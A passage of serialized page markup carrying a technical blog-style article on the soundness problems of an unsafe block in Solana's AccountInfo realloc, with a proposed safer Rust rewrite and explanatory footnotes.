original_data_len",{"type":22,"tag":264,"props":18699,"children":18700},{"style":1539},[18701],{"type":27,"value":2660},{"type":22,"tag":264,"props":18703,"children":18704},{"style":4309},[18705],{"type":27,"value":4413},{"type":22,"tag":264,"props":18707,"children":18708},{"style":4293},[18709],{"type":27,"value":15012},{"type":22,"tag":264,"props":18711,"children":18712},{"style":1539},[18713],{"type":27,"value":4390},{"type":22,"tag":264,"props":18715,"children":18716},{"style":4309},[18717],{"type":27,"value":15056},{"type":22,"tag":264,"props":18719,"children":18720},{"style":4722},[18721],{"type":27,"value":15030},{"type":22,"tag":264,"props":18723,"children":18724},{"style":1539},[18725],{"type":27,"value":4594},{"type":22,"tag":264,"props":18727,"children":18728},{"class":1534,"line":1629},[18729,18733,18738,18742,18746,18750,18755,18759,18763,18767,18771,18775,18779,18783,18787],{"type":22,"tag":264,"props":18730,"children":18731},{"style":4293},[18732],{"type":27,"value":4296},{"type":22,"tag":264,"props":18734,"children":18735},{"style":1549},[18736],{"type":27,"value":18737}," key_ptr",{"type":22,"tag":264,"props":18739,"children":18740},{"style":4309},[18741],{"type":27,"value":4312},{"type":22,"tag":264,"props":18743,"children":18744},{"style":4293},[18745],{"type":27,"value":15096},{"type":22,"tag":264,"props":18747,"children":18748},{"style":4309},[18749],{"type":27,"value":210},{"type":22,"tag":264,"props":18751,"children":18752},{"style":1539},[18753],{"type":27,"value":18754},"key ",{"type":22,"tag":264,"props":18756,"children":18757},{"style":4293},[18758],{"type":27,"value":10137},{"type":22,"tag":264,"props":18760,"children":18761},{"style":4309},[18762],{"type":27,"value":11115},{"type":22,"tag":264,"props":18764,"children":18765},{"style":4293},[18766],{"type":27,"value":10953},{"type":22,"tag":264,"props":18768,"children":18769},{"style":1549},[18770],{"type":27,"value":4336},{"type":22,"tag":264,"props":18772,"children":18773},{"style":4293},[18774],{"type":27,"value":10123},{"type":22,"tag":264,"props":18776,"children":18777},{"style":4309},[18778],{"type":27,"value":11115},{"type":22,"tag":264,"props":18780,"children":18781},{"style":4293},[18782],{"type":27,"value":10953},{"type":22,"tag":264,"props":18784,"children":18785},{"style":4722},[18786],{"type":27,"value":15933},{"type":22,"tag":264,"props":18788,"children":18789},{"style":1539},[18790],{"type":27,"value":4322},{"type":22,"tag":264,"props":18792,"children":18793},{"class":1534,"line":1642},[18794,18798,18803,18807,18811,18815,18819,18823,18827,18832,18836,18840,18844,18848,18853],{"type":22,"tag":264,"props":18795,"children":18796},{"style":4293},[18797],{"type":27,"value":4296},{"type":22,"tag":264,"props":18799,"children":18800},{"style":1549},[18801],{"type":27,"value":18802}," original_data_len_ptr",{"type":22,"tag":264,"props":18804,"children":18805},{"style":4309},[18806],{"type":27,"value":4312},{"type":22,"tag":264,"props":18808,"children":18809},{"style":1549},[18810],{"type":27,"value":18737},{"type":22,"tag":264,"props":18812,"children":18813},{"style":4309},[18814],{"type":27,"value":210},{"type":22,"tag":264,"props":18816,"children":18817},{"style":4401},[18818],{"type":27,"value":15200},{"type":22,"tag":264,"props":18820,"children":18821},{"style":1539},[18822],{"type":27,"value":2660},{"type":22,"tag":264,"props":18824,"children":18825},{"style":4309},[18826],{"type":27,"value":5621},{"type":22,"tag":264,"props":18828,"children":18829},{"style":4344},[18830],{"type":27,"value":18831},"4",{"type":22,"tag":264,"props":18833,"children":18834},{"style":1539},[18835],{"type":27,"value":4390},{"type":22,"tag":264,"props":18837,"children":18838},{"style":4293},[18839],{"type":27,"value":10137},{"type":22,"tag":264,"props":18841,"children":18842},{"style":4309},[18843],{"type":27,"value":11115},{"type":22,"tag":264,"props":18845,"children":18846},{"style":4293},[18847],{"type":27,"value":10953},{"type":22,"tag":264,"props":18849,"children":18850},{"style":4722},[18851],{"type":27,"value":18852}," u32",{"type":22,"tag":264,"props":18854,"children":18855},{"style":1539},[18856],{"type":27,"value":4322},{"type":22,"tag":264,"props":18858,"children":18859},{"class":1534,"line":1660},[18860,18865,18870,18874],{"type":22,"tag":264,"props":18861,"children":18862},{"style":4309},[18863],{"type":27,"value":18864},"    *",{"type":22,"tag":264,"props":18866,"children":18867},{"style":1549},[18868],{"type":27,"value":18869},"original_data_len_ptr",{"type":22,"tag":264,"props":18871,"children":18872},{"style":4293},[18873],{"type":27,"value":10123},{"type":22,"tag":264,"props":18875,"children":18876},{"style":4722},[18877],{"type":27,"value":18276},{"type":22,"tag":264,"props":18879,"children":18880},{"class":1534,"line":1668},[18881],{"type":22,"tag":264,"props":18882,"children":18883},{"style":1539},[18884],{"type":27,"value":1692},{"type":22,"tag":23,"props":18886,"children":18887},{},[18888,18890,18895,18897,18902,18904,18909,18911,18916,18918,18925,18927,18934,18935,18942,18943,18950,18951,18958],{"type":27,"value":18889},"It's marked ",{"type":22,"tag":257,"props":18891,"children":18893},{"className":18892},[],[18894],{"type":27,"value":15655},{"type":27,"value":18896},", properly documented, but there's just one problem: we need this for ",{"type":22,"tag":257,"props":18898,"children":18900},{"className":18899},[],[18901],{"type":27,"value":14937},{"type":27,"value":18903},", which originally was not ",{"type":22,"tag":257,"props":18905,"children":18907},{"className":18906},[],[18908],{"type":27,"value":15655},{"type":27,"value":18910},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":22,"tag":257,"props":18912,"children":18914},{"className":18913},[],[18915],{"type":27,"value":15655},{"type":27,"value":18917}," block and added ",{"type":22,"tag":69,"props":18919,"children":18922},{"href":18920,"rel":18921},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[73],[18923],{"type":27,"value":18924},"a doc comment",{"type":27,"value":18926}," - adding to the ",{"type":22,"tag":69,"props":18928,"children":18931},{"href":18929,"rel":18930},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[73],[18932],{"type":27,"value":18933},"small",{"type":27,"value":7750},{"type":22,"tag":69,"props":18936,"children":18939},{"href":18937,"rel":18938},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[73],[18940],{"type":27,"value":18941},"pile",{"type":27,"value":7750},{"type":22,"tag":69,"props":18944,"children":18947},{"href":18945,"rel":18946},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[73],[18948],{"type":27,"value":18949},"of",{"type":27,"value":7750},{"type":22,"tag":69,"props":18952,"children":18955},{"href":18953,"rel":18954},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[73],[18956],{"type":27,"value":18957},"functions",{"type":27,"value":18959}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":22,"tag":169,"props":18961,"children":18963},{"id":18962},"towards-safer-unsafe",[18964,18966],{"type":27,"value":18965},"Towards safer ",{"type":22,"tag":257,"props":18967,"children":18969},{"className":18968},[],[18970],{"type":27,"value":15655},{"type":22,"tag":23,"props":18972,"children":18973},{},[18974,18976,18981,18983,18988,18990,18997],{"type":27,"value":18975},"Let's circle back to that main ",{"type":22,"tag":257,"props":18977,"children":18979},{"className":18978},[],[18980],{"type":27,"value":15655},{"type":27,"value":18982}," block inside ",{"type":22,"tag":257,"props":18984,"children":18986},{"className":18985},[],[18987],{"type":27,"value":14937},{"type":27,"value":18989}," for a bit, shall we? As a reminder, it looks like ",{"type":22,"tag":69,"props":18991,"children":18994},{"href":18992,"rel":18993},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[73],[18995],{"type":27,"value":18996},"this",{"type":27,"value":5785},{"type":22,"tag":618,"props":18999,"children":19001},{"className":4274,"code":19000,"language":4273,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[19002],{"type":22,"tag":257,"props":19003,"children":19004},{"__ignoreMap":7},[19005,19013,19024,19032,19119,19150,19157,19165,19292,19323],{"type":22,"tag":264,"props":19006,"children":19007},{"class":1534,"line":1535},[19008],{"type":22,"tag":264,"props":19009,"children":19010},{"style":4284},[19011],{"type":27,"value":19012},"// realloc\n",{"type":22,"tag":264,"props":19014,"children":19015},{"class":1534,"line":1545},[19016,19020],{"type":22,"tag":264,"props":19017,"children":19018},{"style":4293},[19019],{"type":27,"value":15655},{"type":22,"tag":264,"props":19021,"children":19022},{"style":1539},[19023],{"type":27,"value":4594},{"type":22,"tag":264,"props":19025,"children":19026},{"class":1534,"line":1560},[19027],{"type":22,"tag":264,"props":19028,"children":19029},{"style":4284},[19030],{"type":27,"value":19031},"    // First set new length in the serialized data\n",{"type":22,"tag":264,"props":19033,"children":19034},{"class":1534,"line":1569},[19035,19039,19043,19047,19051,19055,19059,19063,19067,19071,19075,19079,19083,19087,19091,19095,19099,19103,19107,19111,19115],{"type":22,"tag":264,"props":19036,"children":19037},{"style":4293},[19038],{"type":27,"value":4296},{"type":22,"tag":264,"props":19040,"children":19041},{"style":1549},[19042],{"type":27,"value":15156},{"type":22,"tag":264,"props":19044,"children":19045},{"style":4309},[19046],{"type":27,"value":4312},{"type":22,"tag":264,"props":19048,"children":19049},{"style":4293},[19050],{"type":27,"value":15096},{"type":22,"tag":264,"props":19052,"children":19053},{"style":4309},[19054],{"type":27,"value":210},{"type":22,"tag":264,"props":19056,"children":19057},{"style":4401},[19058],{"type":27,"value":15173},{"type":22,"tag":264,"props":19060,"children":19061},{"style":1539},[19062],{"type":27,"value":15178},{"type":22,"tag":264,"props":19064,"children":19065},{"style":4309},[19066],{"type":27,"value":4435},{"type":22,"tag":264,"props":19068,"children":19069},{"style":4401},[19070],{"type":27,"value":15187},{"type":22,"tag":264,"props":19072,"children":19073},{"style":1539},[19074],{"type":27,"value":15178},{"type":22,"tag":264,"props":19076,"children":19077},{"style":4309},[19078],{"type":27,"value":210},{"type":22,"tag":264,"props":19080,"children":19081},{"style":4401},[19082],{"type":27,"value":15200},{"type":22,"tag":264,"props":19084,"children":19085},{"style":1539},[19086],{"type":27,"value":2660},{"type":22,"tag":264,"props":19088,"children":19089},{"style":4309},[19090],{"type":27,"value":5621},{"type":22,"tag":264,"props":19092,"children":19093},{"style":4344},[19094],{"type":27,"value":5378},{"type":22,"tag":264,"props":19096,"children":19097},{"style":1539},[19098],{"type":27,"value":4390},{"type":22,"tag":264,"props":19100,"children":19101},{"style":4293},[19102],{"type":27,"value":10137},{"type":22,"tag":264,"props":19104,"children":19105},{"style":4309},[19106],{"type":27,"value":11115},{"type":22,"tag":264,"props":19108,"children":19109},{"style":4293},[19110],{"type":27,"value":5035},{"type":22,"tag":264,"props":19112,"children":19113},{"style":4722},[19114],{"type":27,"value":7151},{"type":22,"tag":264,"props":19116,"children":19117},{"style":1539},[19118],{"type":27,"value":4322},{"type":22,"tag":264,"props":19120,"children":19121},{"class":1534,"line":1583},[19122,19126,19130,19134,19138,19142,19146],{"type":22,"tag":264,"props":19123,"children":19124},{"style":4309},[19125],{"type":27,"value":18864},{"type":22,"tag":264,"props":19127,"children":19128},{"style":1549},[19129],{"type":27,"value":15248},{"type":22,"tag":264,"props":19131,"children":19132},{"style":4309},[19133],{"type":27,"value":4312},{"type":22,"tag":264,"props":19135,"children":19136},{"style":1549},[19137],{"type":27,"value":15257},{"type":22,"tag":264,"props":19139,"children":19140},{"style":4293},[19141],{"type":27,"value":10123},{"type":22,"tag":264,"props":19143,"children":19144},{"style":4722},[19145],{"type":27,"value":7151},{"type":22,"tag":264,"props":19147,"children":19148},{"style":1539},[19149],{"type":27,"value":4322},{"type":22,"tag":264,"props":19151,"children":19152},{"class":1534,"line":1603},[19153],{"type":22,"tag":264,"props":19154,"children":19155},{"emptyLinePlaceholder":17},[19156],{"type":27,"value":4986},{"type":22,"tag":264,"props":19158,"children":19159},{"class":1534,"line":1612},[19160],{"type":22,"tag":264,"props":19161,"children":19162},{"style":4284},[19163],{"type":27,"value":19164},"    // Then set the new length in the local slice\n",{"type":22,"tag":264,"props":19166,"children":19167},{"class":1534,"line":1621},[19168,19172,19176,19180,19184,19188,19192,19196,19200,19204,19208,19212,19216,19220,19224,19228,19232,19236,19240,19244,19248,19252,19256,19260,19264,19268,19272,19276,19280,19284,19288],{"type":22,"tag":264,"props":19169,"children":19170},{"style":4293},[19171],{"type":27,"value":4296},{"type":22,"tag":264,"props":19173,"children":19174},{"style":1549},[19175],{"type":27,"value":15156},{"type":22,"tag":264,"props":19177,"children":19178},{"style":4309},[19179],{"type":27,"value":4312},{"type":22,"tag":264,"props":19181,"children":19182},{"style":4309},[19183],{"type":27,"value":8434},{"type":22,"tag":264,"props":19185,"children":19186},{"style":4293},[19187],{"type":27,"value":5035},{"type":22,"tag":264,"props":19189,"children":19190},{"style":4309},[19191],{"type":27,"value":11115},{"type":22,"tag":264,"props":19193,"children":19194},{"style":1539},[19195],{"type":27,"value":15316},{"type":22,"tag":264,"props":19197,"children":19198},{"style":4293},[19199],{"type":27,"value":15012},{"type":22,"tag":264,"props":19201,"children":19202},{"style":4309},[19203],{"type":27,"value":210},{"type":22,"tag":264,"props":19205,"children":19206},{"style":1539},[19207],{"type":27,"value":5013},{"type":22,"tag":264,"props":19209,"children":19210},{"style":4309},[19211],{"type":27,"value":210},{"type":22,"tag":264,"props":19213,"children":19214},{"style":4401},[19215],{"type":27,"value":15337},{"type":22,"tag":264,"props":19217,"children":19218},{"style":1539},[19219],{"type":27,"value":15342},{"type":22,"tag":264,"props":19221,"children":19222},{"style":4293},[19223],{"type":27,"value":10137},{"type":22,"tag":264,"props":19225,"children":19226},{"style":4309},[19227],{"type":27,"value":11115},{"type":22,"tag":264,"props":19229,"children":19230},{"style":4293},[19231],{"type":27,"value":10953},{"type":22,"tag":264,"props":19233,"children":19234},{"style":4722},[19235],{"type":27,"value":7151},{"type":22,"tag":264,"props":19237,"children":19238},{"style":1539},[19239],{"type":27,"value":2806},{"type":22,"tag":264,"props":19241,"children":19242},{"style":4309},[19243],{"type":27,"value":210},{"type":22,"tag":264,"props":19245,"children":19246},{"style":4401},[19247],{"type":27,"value":15200},{"type":22,"tag":264,"props":19249,"children":19250},{"style":1539},[19251],{"type":27,"value":2660},{"type":22,"tag":264,"props":19253,"children":19254},{"style":4344},[19255],{"type":27,"value":602},{"type":22,"tag":264,"props":19257,"children":19258},{"style":1539},[19259],{"type":27,"value":4390},{"type":22,"tag":264,"props":19261,"children":19262},{"style":4293},[19263],{"type":27,"value":10137},{"type":22,"tag":264,"props":19265,"children":19266},{"style":4722},[19267],{"type":27,"value":7151},{"type":22,"tag":264,"props":19269,"children":19270},{"style":1539},[19271],{"type":27,"value":4390},{"type":22,"tag":264,"props":19273,"children":19274},{"style":4293},[19275],{"type":27,"value":10137},{"type":22,"tag":264,"props":19277,"children":19278},{"style":4309},[19279],{"type":27,"value":11115},{"type":22,"tag":264,"props":19281,"children":19282},{"style":4293},[19283],{"type":27,"value":5035},{"type":22,"tag":264,"props":19285,"children":19286},{"style":4722},[19287],{"type":27,"value":7151},{"type":22,"tag":264,"props":19289,"children":19290},{"style":1539},[19291],{"type":27,"value":5142},{"type":22,"tag":264,"props":19293,"children":19294},{"class":1534,"line":1629},[19295,19299,19303,19307,19311,19315,19319],{"type":22,"tag":264,"props":19296,"children":19297},{"style":4309},[19298],{"type":27,"value":18864},{"type":22,"tag":264,"props":19300,"children":19301},{"style":1549},[19302],{"type":27,"value":15248},{"type":22,"tag":264,"props":19304,"children":19305},{"style":4309},[19306],{"type":27,"value":4312},{"type":22,"tag":264,"props":19308,"children":19309},{"style":1549},[19310],{"type":27,"value":15257},{"type":22,"tag":264,"props":19312,"children":19313},{"style":4293},[19314],{"type":27,"value":10123},{"type":22,"tag":264,"props":19316,"children":19317},{"style":4722},[19318],{"type":27,"value":7151},{"type":22,"tag":264,"props":19320,"children":19321},{"style":1539},[19322],{"type":27,"value":4322},{"type":22,"tag":264,"props":19324,"children":19325},{"class":1534,"line":1642},[19326],{"type":22,"tag":264,"props":19327,"children":19328},{"style":1539},[19329],{"type":27,"value":1692},{"type":22,"tag":23,"props":19331,"children":19332},{},[19333,19335,19340],{"type":27,"value":19334},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":22,"tag":257,"props":19336,"children":19338},{"className":19337},[],[19339],{"type":27,"value":16803},{"type":27,"value":19341}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":22,"tag":23,"props":19343,"children":19344},{},[19345,19347,19352,19354,19359,19361,19366,19368,19373,19375,19380,19382,19388,19390,19400,19402,19412],{"type":27,"value":19346},"First, let's deal with the ",{"type":22,"tag":257,"props":19348,"children":19350},{"className":19349},[],[19351],{"type":27,"value":16803},{"type":27,"value":19353}," borrowing issue. When we ",{"type":22,"tag":257,"props":19355,"children":19357},{"className":19356},[],[19358],{"type":27,"value":15173},{"type":27,"value":19360},", we get a ",{"type":22,"tag":257,"props":19362,"children":19364},{"className":19363},[],[19365],{"type":27,"value":18043},{"type":27,"value":19367}," back, which represents our borrow of the ",{"type":22,"tag":257,"props":19369,"children":19371},{"className":19370},[],[19372],{"type":27,"value":16803},{"type":27,"value":19374},"'s data. The fix here is simple: keep that ",{"type":22,"tag":257,"props":19376,"children":19378},{"className":19377},[],[19379],{"type":27,"value":18043},{"type":27,"value":19381}," around and use it to access the data, instead of using ",{"type":22,"tag":257,"props":19383,"children":19385},{"className":19384},[],[19386],{"type":27,"value":19387},"RefCell::as_ptr",{"type":27,"value":19389},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":22,"tag":16773,"props":19391,"children":19392},{},[19393],{"type":22,"tag":69,"props":19394,"children":19398},{"href":19395,"ariaDescribedBy":19396,"dataFootnoteRef":7,"id":19397},"#user-content-fn-rustc-llvm",[16780],"user-content-fnref-rustc-llvm",[19399],{"type":27,"value":18831},{"type":27,"value":19401}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":22,"tag":16773,"props":19403,"children":19404},{},[19405],{"type":22,"tag":69,"props":19406,"children":19410},{"href":19407,"ariaDescribedBy":19408,"dataFootnoteRef":7,"id":19409},"#user-content-fn-godbolt",[16780],"user-content-fnref-godbolt",[19411],{"type":27,"value":885},{"type":27,"value":19413},". So then we get:",{"type":22,"tag":618,"props":19415,"children":19417},{"className":4274,"code":19416,"language":4273,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[19418],{"type":22,"tag":257,"props":19419,"children":19420},{"__ignoreMap":7},[19421,19465,19472,19479,19563,19603,19610,19617],{"type":22,"tag":264,"props":19422,"children":19423},{"class":1534,"line":1535},[19424,19428,19432,19437,19441,19445,19449,19453,19457,19461],{"type":22,"tag":264,"props":19425,"children":19426},{"style":4293},[19427],{"type":27,"value":13086},{"type":22,"tag":264,"props":19429,"children":19430},{"style":4293},[19431],{"type":27,"value":4301},{"type":22,"tag":264,"props":19433,"children":19434},{"style":1549},[19435],{"type":27,"value":19436}," slice",{"type":22,"tag":264,"props":19438,"children":19439},{"style":4309},[19440],{"type":27,"value":4312},{"type":22,"tag":264,"props":19442,"children":19443},{"style":4293},[19444],{"type":27,"value":15096},{"type":22,"tag":264,"props":19446,"children":19447},{"style":4309},[19448],{"type":27,"value":210},{"type":22,"tag":264,"props":19450,"children":19451},{"style":4401},[19452],{"type":27,"value":15173},{"type":22,"tag":264,"props":19454,"children":19455},{"style":1539},[19456],{"type":27,"value":15178},{"type":22,"tag":264,"props":19458,"children":19459},{"style":4309},[19460],{"type":27,"value":4458},{"type":22,"tag":264,"props":19462,"children":19463},{"style":1539},[19464],{"type":27,"value":4322},{"type":22,"tag":264,"props":19466,"children":19467},{"class":1534,"line":1545},[19468],{"type":22,"tag":264,"props":19469,"children":19470},{"emptyLinePlaceholder":17},[19471],{"type":27,"value":4986},{"type":22,"tag":264,"props":19473,"children":19474},{"class":1534,"line":1560},[19475],{"type":22,"tag":264,"props":19476,"children":19477},{"style":4284},[19478],{"type":27,"value":15702},{"type":22,"tag":264,"props":19480,"children":19481},{"class":1534,"line":1569},[19482,19486,19490,19494,19498,19502,19506,19510,19514,19518,19522,19526,19530,19534,19538,19543,19547,19551,19555,19559],{"type":22,"tag":264,"props":19483,"children":19484},{"style":4293},[19485],{"type":27,"value":13086},{"type":22,"tag":264,"props":19487,"children":19488},{"style":1549},[19489],{"type":27,"value":15156},{"type":22,"tag":264,"props":19491,"children":19492},{"style":4309},[19493],{"type":27,"value":4312},{"type":22,"tag":264,"props":19495,"children":19496},{"style":4293},[19497],{"type":27,"value":15889},{"type":22,"tag":264,"props":19499,"children":19500},{"style":1539},[19501],{"type":27,"value":10884},{"type":22,"tag":264,"props":19503,"children":19504},{"style":1549},[19505],{"type":27,"value":16613},{"type":22,"tag":264,"props":19507,"children":19508},{"style":4309},[19509],{"type":27,"value":210},{"type":22,"tag":264,"props":19511,"children":19512},{"style":4401},[19513],{"type":27,"value":15187},{"type":22,"tag":264,"props":19515,"children":19516},{"style":1539},[19517],{"type":27,"value":15178},{"type":22,"tag":264,"props":19519,"children":19520},{"style":4309},[19521],{"type":27,"value":210},{"type":22,"tag":264,"props":19523,"children":19524},{"style":4401},[19525],{"type":27,"value":15200},{"type":22,"tag":264,"props":19527,"children":19528},{"style":1539},[19529],{"type":27,"value":2660},{"type":22,"tag":264,"props":19531,"children":19532},{"style":4309},[19533],{"type":27,"value":5621},{"type":22,"tag":264,"props":19535,"children":19536},{"style":4344},[19537],{"type":27,"value":5378},{"type":22,"tag":264,"props":19539,"children":19540},{"style":1539},[19541],{"type":27,"value":19542},") } ",{"type":22,"tag":264,"props":19544,"children":19545},{"style":4293},[19546],{"type":27,"value":10137},{"type":22,"tag":264,"props":19548,"children":19549},{"style":4309},[19550],{"type":27,"value":11115},{"type":22,"tag":264,"props":19552,"children":19553},{"style":4293},[19554],{"type":27,"value":5035},{"type":22,"tag":264,"props":19556,"children":19557},{"style":4722},[19558],{"type":27,"value":7151},{"type":22,"tag":264,"props":19560,"children":19561},{"style":1539},[19562],{"type":27,"value":4322},{"type":22,"tag":264,"props":19564,"children":19565},{"class":1534,"line":1583},[19566,19570,19574,19578,19582,19586,19590,19594,19598],{"type":22,"tag":264,"props":19567,"children":19568},{"style":4293},[19569],{"type":27,"value":15655},{"type":22,"tag":264,"props":19571,"children":19572},{"style":1539},[19573],{"type":27,"value":10884},{"type":22,"tag":264,"props":19575,"children":19576},{"style":4309},[19577],{"type":27,"value":5865},{"type":22,"tag":264,"props":19579,"children":19580},{"style":1549},[19581],{"type":27,"value":15248},{"type":22,"tag":264,"props":19583,"children":19584},{"style":4309},[19585],{"type":27,"value":4312},{"type":22,"tag":264,"props":19587,"children":19588},{"style":1549},[19589],{"type":27,"value":15257},{"type":22,"tag":264,"props":19591,"children":19592},{"style":4293},[19593],{"type":27,"value":10123},{"type":22,"tag":264,"props":19595,"children":19596},{"style":4722},[19597],{"type":27,"value":7151},{"type":22,"tag":264,"props":19599,"children":19600},{"style":1539},[19601],{"type":27,"value":19602}," };\n",{"type":22,"tag":264,"props":19604,"children":19605},{"class":1534,"line":1603},[19606],{"type":22,"tag":264,"props":19607,"children":19608},{"emptyLinePlaceholder":17},[19609],{"type":27,"value":4986},{"type":22,"tag":264,"props":19611,"children":19612},{"class":1534,"line":1612},[19613],{"type":22,"tag":264,"props":19614,"children":19615},{"style":4284},[19616],{"type":27,"value":17440},{"type":22,"tag":264,"props":19618,"children":19619},{"class":1534,"line":1621},[19620,19624,19628,19632,19636,19641,19645,19649,19653,19658,19662,19666,19670,19674,19679,19683],{"type":22,"tag":264,"props":19621,"children":19622},{"style":4309},[19623],{"type":27,"value":5865},{"type":22,"tag":264,"props":19625,"children":19626},{"style":1549},[19627],{"type":27,"value":16613},{"type":22,"tag":264,"props":19629,"children":19630},{"style":4309},[19631],{"type":27,"value":4312},{"type":22,"tag":264,"props":19633,"children":19634},{"style":4293},[19635],{"type":27,"value":15889},{"type":22,"tag":264,"props":19637,"children":19638},{"style":1539},[19639],{"type":27,"value":19640}," { std",{"type":22,"tag":264,"props":19642,"children":19643},{"style":4309},[19644],{"type":27,"value":4785},{"type":22,"tag":264,"props":19646,"children":19647},{"style":1539},[19648],{"type":27,"value":16613},{"type":22,"tag":264,"props":19650,"children":19651},{"style":4309},[19652],{"type":27,"value":4785},{"type":22,"tag":264,"props":19654,"children":19655},{"style":4401},[19656],{"type":27,"value":19657},"from_raw_parts_mut",{"type":22,"tag":264,"props":19659,"children":19660},{"style":1539},[19661],{"type":27,"value":2660},{"type":22,"tag":264,"props":19663,"children":19664},{"style":1549},[19665],{"type":27,"value":16613},{"type":22,"tag":264,"props":19667,"children":19668},{"style":4309},[19669],{"type":27,"value":210},{"type":22,"tag":264,"props":19671,"children":19672},{"style":4401},[19673],{"type":27,"value":15187},{"type":22,"tag":264,"props":19675,"children":19676},{"style":1539},[19677],{"type":27,"value":19678},"(), ",{"type":22,"tag":264,"props":19680,"children":19681},{"style":1549},[19682],{"type":27,"value":15021},{"type":22,"tag":264,"props":19684,"children":19685},{"style":1539},[19686],{"type":27,"value":16044},{"type":22,"tag":23,"props":19688,"children":19689},{},[19690,19692,19697,19699,19704,19706,19711,19713],{"type":27,"value":19691},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":22,"tag":257,"props":19693,"children":19695},{"className":19694},[],[19696],{"type":27,"value":9336},{"type":27,"value":19698}," and not a ",{"type":22,"tag":257,"props":19700,"children":19702},{"className":19701},[],[19703],{"type":27,"value":17902},{"type":27,"value":19705}," for the size field, given that ",{"type":22,"tag":257,"props":19707,"children":19709},{"className":19708},[],[19710],{"type":27,"value":17902},{"type":27,"value":19712}," is architecture-dependent), and no dependency on slice reference internals!",{"type":22,"tag":16773,"props":19714,"children":19715},{},[19716],{"type":22,"tag":69,"props":19717,"children":19721},{"href":19718,"ariaDescribedBy":19719,"dataFootnoteRef":7,"id":19720},"#user-content-fn-slice-unbound-lifetime",[16780],"user-content-fnref-slice-unbound-lifetime",[19722],{"type":27,"value":19723},"6",{"type":22,"tag":19725,"props":19726,"children":19729},"section",{"className":19727,"dataFootnotes":7},[19728],"footnotes",[19730,19737],{"type":22,"tag":169,"props":19731,"children":19734},{"className":19732,"id":16780},[19733],"sr-only",[19735],{"type":27,"value":19736},"Footnotes",{"type":22,"tag":1867,"props":19738,"children":19739},{},[19740,19845,19863,19918,19931,19959],{"type":22,"tag":1871,"props":19741,"children":19743},{"id":19742},"user-content-fn-rc-refs",[19744,19746,19752,19754,19759,19761,19765,19767,19771,19773,19778,19780,19786,19788,19793,19795,19805,19807,19812,19814,19819,19821,19826,19828,19834,19836],{"type":27,"value":19745},"I find it helpful to view owning an ",{"type":22,"tag":257,"props":19747,"children":19749},{"className":19748},[],[19750],{"type":27,"value":19751},"Rc\u003CT>",{"type":27,"value":19753}," as holding a shared reference to the underlying ",{"type":22,"tag":257,"props":19755,"children":19757},{"className":19756},[],[19758],{"type":27,"value":7279},{"type":27,"value":19760}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":22,"tag":1699,"props":19762,"children":19763},{},[19764],{"type":27,"value":17758},{"type":27,"value":19766}," ensures that the actual ",{"type":22,"tag":1699,"props":19768,"children":19769},{},[19770],{"type":27,"value":5013},{"type":27,"value":19772}," stays alive, however all you have is a reference to the ",{"type":22,"tag":257,"props":19774,"children":19776},{"className":19775},[],[19777],{"type":27,"value":7279},{"type":27,"value":19779}," (through the ",{"type":22,"tag":257,"props":19781,"children":19783},{"className":19782},[],[19784],{"type":27,"value":19785},"Deref\u003CTarget = T>",{"type":27,"value":19787}," impl) - ",{"type":22,"tag":1699,"props":19789,"children":19790},{},[19791],{"type":27,"value":19792},"not",{"type":27,"value":19794}," ownership ",{"type":22,"tag":1699,"props":19796,"children":19797},{},[19798,19800],{"type":27,"value":19799},"of the ",{"type":22,"tag":257,"props":19801,"children":19803},{"className":19802},[],[19804],{"type":27,"value":7279},{"type":27,"value":19806},". In short, owning an ",{"type":22,"tag":257,"props":19808,"children":19810},{"className":19809},[],[19811],{"type":27,"value":19751},{"type":27,"value":19813}," is owning a (shared, read-only) reference to ",{"type":22,"tag":257,"props":19815,"children":19817},{"className":19816},[],[19818],{"type":27,"value":7279},{"type":27,"value":19820},", not owning ",{"type":22,"tag":257,"props":19822,"children":19824},{"className":19823},[],[19825],{"type":27,"value":7279},{"type":27,"value":19827}," directly like with ",{"type":22,"tag":257,"props":19829,"children":19831},{"className":19830},[],[19832],{"type":27,"value":19833},"Box\u003CT>",{"type":27,"value":19835},". ",{"type":22,"tag":69,"props":19837,"children":19842},{"href":19838,"ariaLabel":19839,"className":19840,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[19841],"data-footnote-backref",[19843],{"type":27,"value":19844},"↩",{"type":22,"tag":1871,"props":19846,"children":19848},{"id":19847},"user-content-fn-sendsync",[19849,19855,19856],{"type":22,"tag":257,"props":19850,"children":19852},{"className":19851},[],[19853],{"type":27,"value":19854},"!Send + 